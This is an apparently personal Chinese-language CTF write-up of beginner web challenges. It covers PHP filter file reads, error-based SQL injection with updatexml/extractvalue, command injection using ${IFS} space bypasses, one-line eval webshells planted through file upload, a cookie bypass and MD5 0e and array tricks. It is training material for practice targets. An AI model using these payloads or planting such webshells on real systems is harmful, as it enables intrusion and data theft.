nssctf web
[SWPUCTF 2021 新生赛]include
知识点:php伪协议
1 | #题目: |
file伪协议例子:
1 | include.php?file=file://C:desktop |
自己尝试:
1 | 靶机地址/?file=file #说明:可以:/?file=…一个随意参数 |
得到了:
1 |
|
最终解法:
在url栏:
1 | 靶机地址/?file=php://filter/convert.base64-encode/resource=flag.php |
得到base64加密的flag
[SWPUCTF 2021 新生赛]error
知识点:sql注入
自己的尝试:
输入
1 | '"select * from * where 1=1 |
发现url处:
1 | http://node4.anna.nssctf.cn:28629/index.php?id=%27%22select+*+from+*+where+1%3D1 |
而且页面提示:
1 | You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '"select * from * where 1=1' LIMIT 0,1' at line 1 |
由此我们得知其用的数据库为:MariaDB server
而且我们得知"select * from * where 1=1
这段是有效的
此类sql注入属于报错注入
用下面语句让错误信息提供数据库名称
1 | "'and(select extractvalue(1,concat('~',(select database()))))# |
得知数据库名叫:test_db
[SWPUCTF 2021 新生赛]easy_sql
知识点:sql注入
拓展阅读:https://www.cnblogs.com/GTL-JU/p/16054806.html
靶机提示:参数为wllm,wllm是日志相关的参数,默认为1
我们试着在url后面加/?wllm=-1
1 | url/?wllm=-1 |
发现显示了报错信息,判断可以用到报错注入
网上搜索报错注入的常规方法
updatexml()
updatexml
函数用于更新 XML 文档中的节点值。
1 | url/?wllm=-1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir%20 ),1) --+ |
concat()
concat()
函数用于将多个字符串连接在一起.
0x7e
:表示波浪号 (~)。database()
:返回当前数据库的名称。0x7e
:表示波浪号 (~)。user()
:返回当前用户的名称。0x7e
:表示波浪号 (~)。@@datadir
:返回数据文件所在的目录。
因此这条语句将返回数据库的名称、用户名、数据文件所在目录,中间用~隔开
table_name
分开看比较清楚:
这一步用来爆出所有表的名称
1 | url/?wllm=-1' and updatexml(1,concat(( |
table_schema
来指定表名
1 | table_schema = test |
得到了报错
1 | XPATH syntax error: ',test_tb,users,users,users' |
由此得到了table_names= ‘,test_tb,users,users,users’
column_name
这一步用来爆出所有列的名称
在上一步里把table_name改为column_name即可
1 | url/?wllm=-1' and updatexml(1,concat((select group_concat(column_name) from information_schema.columns where table_schema=database()) ),1) --+ |
得到
1 | XPATH syntax error: ',flag,id,username,password' |
读列:
1 | url/?wllm=-1' and updatexml(1,concat((select group_concat(flag) from test_tb ) ),1) --+ |
显示
1 | XPATH syntax error: '{10e50f48-ac3d-4d07-b307-b996b84' |
发现回显不全,于是用到
mid()
SQL 的 MID()
函数用于从文本字符串中提取子字符串。该函数接受以下参数:
- **
text
**:要提取子字符串的文本字符串。 - **
start
**:子字符串的起始位置。 - **
length
**:子字符串的长度。
1 | mid(sql语句,1,38) 1~38:XPATH syntax error: '{10e50f48-ac3d-4d07-b307-b996b84' |
合起来
1 | XPATH syntax error: '{10e50f48-ac3d-4d07-b307-b996b84466c3}' |
[SWPUCTF 2021 新生赛]easyrce
知识点:rce远程代码执行漏洞
- RCE-远程代码执行:远程执行PHP代码
- RCE-远程命令执行:远程执行Linux或者Windows等系统命令。
操作方法:
依然是在网站的url上进行操作
加上
1 | 靶机地址/?url=system('ls /'); |
[SWPUCTF 2021 新生赛]caidao
知识点:webshell
网站图片提示了一句话木马
1 | @eval($_POST['wllm']); |
用中国蚁剑连接查看目录可以得到flag
还可以
post传⼊
1 | wllm=echo 'cat /flag'; |
[SWPUCTF 2021 新生赛]Do_you_know_http
知识点:http协议 burpsuit重放器的使用
限制条件
1 | 1,Please use 'WLLM' browser! |
用burpsuit抓包,然后右键点击发送到repeater
随后点击重放器
此时可以构造请求,在右侧还能看到相应
1 | X-Forwarded-For:127.0.0.1 |
两个条件都满足后,在响应里面看到了/secretttt.php,访问即可得到flag
[第五空间 2021]WebFTP
知识点:目录扫描 dirsearch
用kali工具dirsearch扫描
1 | git clone https://github.com/maurosoria/dirsearch |
发现关键文件:phpinfo.php
直接访问phpinfo.php,搜索flag即可出结果
[SWPUCTF 2021 新生赛]babyrce
知识点:Cookie注入 rce远程代码执行漏洞
题目
1 |
|
关键是需要让$_COOKIE[‘admin’]==1
如何进行Cookie注入?
1,抓包
2,修改数据(如果不熟悉http协议的话,可以在右侧的Inspector输入值添加)
看到响应出现/rasalghul.php,于是访问
回显:
1 |
|
上面代码的作用,问问ai:
- 使用
error_reporting(0)
关闭错误报告。 - 使用
highlight_file(__FILE__)
高亮显示当前文件的代码。 - 再次使用
error_reporting(0)
关闭错误报告。 - 检查
$_GET
数组中是否包含url
参数。 - 如果存在
url
参数,则将其赋值给变量$ip
。 - 使用
preg_match("/ /", $ip)
检查$ip
是否包含空格。 - 如果
$ip
包含空格,则输出错误信息 “nonono” 并退出程序。 - 使用
shell_exec($ip)
执行$ip
指定的命令。 - 使用
echo $a
输出命令的执行结果。
由此得知:
我们不能直接使用空格
遂搜索“url中能代替空格的字符”,试试%20
,不行,再用${IFS}
,可行,${IFS} 可以代替空格,因为它可以用于将输入字符串分割成单独的字段。他是bash shell中的
1 | 靶机地址/rasalghul.php?url=ls${IFS}/; |
回显
1 | bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var |
访问
1 | 靶机地址/rasalghul.php?url=cat${IFS}/f*; |
得到flag
[SWPUCTF 2021 新生赛]ez_unserialize
知识点:反序列化
看f12,
1 | User-agent: *Disallow 什么东西呢 |
是写在robots.txt中的一段参数
访问robots.txt试试
1 | User-agent: * |
访问/cl45s.php
1 |
|
关键是
1 | if($this->admin === "admin" && $this->passwd === "ctf"){ |
需要构造payload
1 |
|
[SWPUCTF 2021 新生赛]easy_md5
知识点:MD5碰撞 0e绕过 数组绕过
题目
1 |
|
关键是
1 | if ($name != $password && md5($name) == md5($password)) |
md5相同,本身的值却不同?
这样的称为MD5碰撞
去搜索引擎搜索md5碰撞案例
常见的md5加密后以0e开头的字符串。
QNKCDZO
240610708
s878926199a
s155964671a
s21587387a
值得注意的是:GET请求将参数包含在URL中,而POST请求将参数放在请求正文中。
因此需要把get,也就是name,传给url,把post,也就是password,传给请求正文
1 | /?name=QNKCDZO |
post:
1 | password=s878926199a |
方法二: 可以传递数组,如name[]=123,password[]=456,md5不能加密数组,故两个md5返回的都是null
[LitCTF 2023]我Flag呢?
知识点:f12
f12以下即可
[SWPUCTF 2021 新生赛]easyupload2.0
知识点:文件上传漏洞
思路:上传木马文件,然后用webshell管理软件控制后台
1 | <?php @eval($_POST['password']);?> |